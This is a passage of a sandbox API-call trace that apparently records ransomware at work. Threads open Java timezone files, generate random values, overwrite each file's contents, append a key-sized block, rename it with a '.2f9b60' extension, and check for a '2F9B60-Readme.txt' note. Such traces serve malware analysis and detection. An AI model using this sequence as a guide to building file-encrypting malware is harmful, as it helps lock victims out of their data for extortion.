DestinationString="938977b09e05b1985a5a1c9ab1e4b585") returned 0x0 [0200.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ced2330 [0200.753] wcscat (in: _Dest=0x1ced3220, _Source="938977b0" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\938977b0") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\938977b0" [0200.753] wcscat (in: _Dest=0x1ced3220, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\938977b0.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\938977b0.2f9b60" [0200.753] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\938977b0.2f9b60", NtPathName=0x4567fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\938977b0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431eb6f0 [0237.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eb6f0) returned 1 [0237.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43200530) returned 1 [0237.685] NtQueryInformationFile (in: FileHandle=0x2c68, IoStatusBlock=0x4567fa98, FileInformation=0x4567faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4567fa98, FileInformation=0x4567faa8) returned 0x0 [0237.685] NtSetInformationFile (FileHandle=0x2c68, IoStatusBlock=0x4567fa98, FileInformation=0x4567faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 [0237.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2330) returned 1 [0237.969] FlushFileBuffers (hFile=0x2c68) returned 1 [0238.244] CloseHandle (hObject=0x2c68) returned 1 [0241.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a1260 [0241.729] wcscpy (in: _Dest=0x431a1260, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.729] wcscat (in: _Dest=0x431a1260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.729] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1260) returned 1 [0243.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f100) returned 1 Thread: id = 2852 os_tid = 0x1ab4 [0160.288] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\tripoli")) returned 0x20 [0165.822] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli", dwFileAttributes=0x20) returned 1 [0167.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\tripoli"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c64 [0168.079] GetFileSizeEx (in: hFile=0x2c64, lpFileSize=0x4574fa60 | out: lpFileSize=0x4574fa60*=732) returned 1 [0168.079] SetFilePointerEx (in: hFile=0x2c64, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.079] ReadFile (in: hFile=0x2c64, lpBuffer=0x4574f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4574fa28, lpOverlapped=0x0 | out: lpBuffer=0x4574f9e0*, lpNumberOfBytesRead=0x4574fa28*=0x4, lpOverlapped=0x0) returned 1 [0168.080] SetFilePointerEx (in: hFile=0x2c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18840 [0168.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19fb0 [0168.081] NtQuerySystemTime (in: CurrentTime=0x4574f920 | out: CurrentTime=0x4574f920*=132462177731986000) returned 0x0 [0168.081] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x360b114f [0168.081] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x5c916b9c [0168.081] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x1fd1aaf1 [0168.081] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x326c9ef6 [0168.081] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x6e10f532 [0168.081] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x7da4bc21 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x7ff91a42 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x7a4c0e92 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x260fdb84 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x4fb747b9 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x1cb5e97f [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0xaa09075 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x2c11d76c [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x24672f24 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x4e47919e [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x7c270e [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x7d68cb25 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x6adafba0 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x1a523526 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x5e53ed59 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x1e7f3939 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x98411e5 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x5707f33b [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x433de220 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x145d5045 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x2c28057d [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x7c9a4e74 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x3957e736 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x42377c40 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x4441f17d [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x38176c06 [0168.082] RtlRandomEx (in: Seed=0x4574f910 | out: Seed=0x4574f910) returned 0x1ba443e [0168.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19fe0 [0168.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aeb0 [0168.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a010 [0168.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aeb0) returned 1 [0168.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19fb0) returned 1 [0168.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c6f0 [0168.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aeb0 [0168.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42699930 [0168.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424a69f0 [0168.093] ReadFile (in: hFile=0x2c64, lpBuffer=0x42699930, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x4574f910, lpOverlapped=0x0 | out: lpBuffer=0x42699930*, lpNumberOfBytesRead=0x4574f910*=0x2dc, lpOverlapped=0x0) returned 1 [0168.093] SetFilePointerEx (in: hFile=0x2c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.093] WriteFile (in: hFile=0x2c64, lpBuffer=0x424a69f0*, nNumberOfBytesToWrite=0x2dc, lpNumberOfBytesWritten=0x4574f914, lpOverlapped=0x0 | out: lpBuffer=0x424a69f0*, lpNumberOfBytesWritten=0x4574f914*=0x2dc, lpOverlapped=0x0) returned 1 [0189.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136160 [0189.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136190 [0189.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43136190) returned 1 [0189.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a69f0) returned 1 [0189.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42699930) returned 1 [0189.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aeb0) returned 1 [0189.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c6f0) returned 1 [0189.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x43136190 [0189.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c6f0 [0189.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aeb0 [0189.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431361c0 [0189.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431361c0) returned 1 [0189.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x431361c0 [0189.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431361f0 [0189.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136220 [0189.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43136220) returned 1 [0189.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aeb0) returned 1 [0189.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c6f0) returned 1 [0189.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42c04af0 [0189.239] SetFilePointerEx (in: hFile=0x2c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0189.239] WriteFile (in: hFile=0x2c64, lpBuffer=0x42c04af0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x4574fa30, lpOverlapped=0x0 | out: lpBuffer=0x42c04af0*, lpNumberOfBytesWritten=0x4574fa30*=0x100, lpOverlapped=0x0) returned 1 [0202.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0202.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8cc0 [0202.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8cc0) returned 1 [0202.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x42c0ea60 [0202.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8cc0 [0202.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8c90 [0202.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8c90) returned 1 [0202.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0202.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1cec8c90 [0202.253] sprintf (in: _Dest=0x1cec8c90, _Format="%c%c" | out: _Dest="c7") returned 2 [0202.253] sprintf (in: _Dest=0x1cec8c92, _Format="%c%c" | out: _Dest="a2") returned 2 [0202.253] sprintf (in: _Dest=0x1cec8c94, _Format="%c%c" | out: _Dest="d8") returned 2 [0202.253] sprintf (in: _Dest=0x1cec8c96, _Format="%c%c" | out: _Dest="98") returned 2 [0202.253] sprintf (in: _Dest=0x1cec8c98, _Format="%c%c" | out: _Dest="58") returned 2 [0202.253] sprintf (in: _Dest=0x1cec8c9a, _Format="%c%c" | out: _Dest="ed") returned 2 [0202.253] sprintf (in: _Dest=0x1cec8c9c, _Format="%c%c" | out: _Dest="e7") returned 2 [0202.253] sprintf (in: _Dest=0x1cec8c9e, _Format="%c%c" | out: _Dest="b7") returned 2 [0202.254] sprintf (in: _Dest=0x1cec8ca0, _Format="%c%c" | out: _Dest="51") returned 2 [0202.254] sprintf (in: _Dest=0x1cec8ca2, _Format="%c%c" | out: _Dest="98") returned 2 [0202.254] sprintf (in: _Dest=0x1cec8ca4, _Format="%c%c" | out: _Dest="59") returned 2 [0202.254] sprintf (in: _Dest=0x1cec8ca6, _Format="%c%c" | out: _Dest="48") returned 2 [0202.254] sprintf (in: _Dest=0x1cec8ca8, _Format="%c%c" | out: _Dest="79") returned 2 [0202.254] sprintf (in: _Dest=0x1cec8caa, _Format="%c%c" | out: _Dest="35") returned 2 [0202.254] RtlInitAnsiString (in: DestinationString=0x4574faa8, SourceString="c7a2d89858ede7b7519859487935" | out: DestinationString="c7a2d89858ede7b7519859487935") [0202.254] RtlAnsiStringToUnicodeString (in: DestinationString=0x4574fa78, SourceString="c7a2d89858ede7b7519859487935", AllocateDestinationString=1 | out: DestinationString="c7a2d89858ede7b7519859487935") returned 0x0 [0202.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5bd40 [0202.255] wcscat (in: _Dest=0x431084f0, _Source="c7a2d89" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c7a2d89") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c7a2d89" [0202.255] wcscat (in: _Dest=0x431084f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c7a2d89.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c7a2d89.2f9b60" [0202.255] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c7a2d89.2f9b60", NtPathName=0x4574fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c7a2d89.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cebf840 [0237.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf840) returned 1 [0237.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432138a0) returned 1 [0237.730] NtQueryInformationFile (in: FileHandle=0x2c64, IoStatusBlock=0x4574fab8, FileInformation=0x4574fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4574fab8, FileInformation=0x4574fac8) returned 0x0 [0237.730] NtSetInformationFile (FileHandle=0x2c64, IoStatusBlock=0x4574fab8, FileInformation=0x4574fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431084f0) returned 1 [0240.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd40) returned 1 [0240.296] FlushFileBuffers (hFile=0x2c64) returned 1 [0240.636] CloseHandle (hObject=0x2c64) Thread: id = 2853 os_tid = 0xab8 [0160.289] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\tunis")) returned 0x20 [0165.823] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis", dwFileAttributes=0x20) returned 1 [0167.341] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\tunis"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c60 [0168.063] GetFileSizeEx (in: hFile=0x2c60, lpFileSize=0x4583f9c0 | out: lpFileSize=0x4583f9c0*=329) returned 1 [0168.063] SetFilePointerEx (in: hFile=0x2c60, liDistanceToMove=0x145, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.063] ReadFile (in: hFile=0x2c60, lpBuffer=0x4583f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4583f988, lpOverlapped=0x0 | out: lpBuffer=0x4583f940*, lpNumberOfBytesRead=0x4583f988*=0x4, lpOverlapped=0x0) returned 1 [0168.064] SetFilePointerEx (in: hFile=0x2c60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c187e0 [0168.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18840 [0168.065] NtQuerySystemTime (in: CurrentTime=0x4583f880 | out: CurrentTime=0x4583f880*=132462177731830000) returned 0x0 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x63729773 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x29964182 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x3a54052 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x2ed291e0 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x6f63cb6b [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x19871fec [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x72ac171a [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x62b52877 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x4a0c8875 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x18717aa [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x5fd1e533 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x7a9d448a [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x214861a4 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x5819433a [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x32943a11 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x7193ea8a [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x3359e575 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x455c5d50 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x3d30a76d [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x14cdfefe [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x54260ada [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x6fd0a968 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x4ca08f75 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x7a4d7881 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x28e92237 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x3b62f93 [0168.065] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x4f659cac [0168.066] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x672d69d9 [0168.066] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x7ef7c29c [0168.066] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0xaa47d39 [0168.066] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x4ca52ccd [0168.066] RtlRandomEx (in: Seed=0x4583f870 | out: Seed=0x4583f870) returned 0x5080becc [0168.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0168.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0168.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f80 [0168.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0168.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18840) returned 1 [0168.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c6a0 [0168.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0168.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426ca600 [0168.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42695d20 [0168.076] ReadFile (in: hFile=0x2c60, lpBuffer=0x426ca600, nNumberOfBytesToRead=0x149, lpNumberOfBytesRead=0x4583f870, lpOverlapped=0x0 | out: lpBuffer=0x426ca600*, lpNumberOfBytesRead=0x4583f870*=0x149, lpOverlapped=0x0) returned 1 [0168.076] SetFilePointerEx (in: hFile=0x2c60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.076] WriteFile (in: hFile=0x2c60, lpBuffer=0x42695d20*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x4583f874, lpOverlapped=0x0 | out: lpBuffer=0x42695d20*, lpNumberOfBytesWritten=0x4583f874*=0x149, lpOverlapped=0x0) returned 1 [0189.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136100 [0189.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136130 [0189.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43136130) returned 1 [0189.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42695d20) returned 1 [0189.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426ca600) returned 1 [0189.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0189.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c6a0) returned 1 [0189.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0ea60 [0189.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c6a0 [0189.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0189.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136130 [0189.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43136130) returned 1 [0189.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0ea80 [0189.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136130 [0189.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43136160 [0189.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43136160) returned 1 [0189.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0189.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c6a0) returned 1 [0189.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x4313e4e0 [0189.231] SetFilePointerEx (in: hFile=0x2c60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0189.231] WriteFile (in: hFile=0x2c60, lpBuffer=0x4313e4e0*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x4583f990, lpOverlapped=0x0 | out: lpBuffer=0x4313e4e0*, lpNumberOfBytesWritten=0x4583f990*=0xfc, lpOverlapped=0x0) returned 1 [0202.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0202.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053fd0 [0202.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053fd0) returned 1 [0202.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x42c0ea20 [0202.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 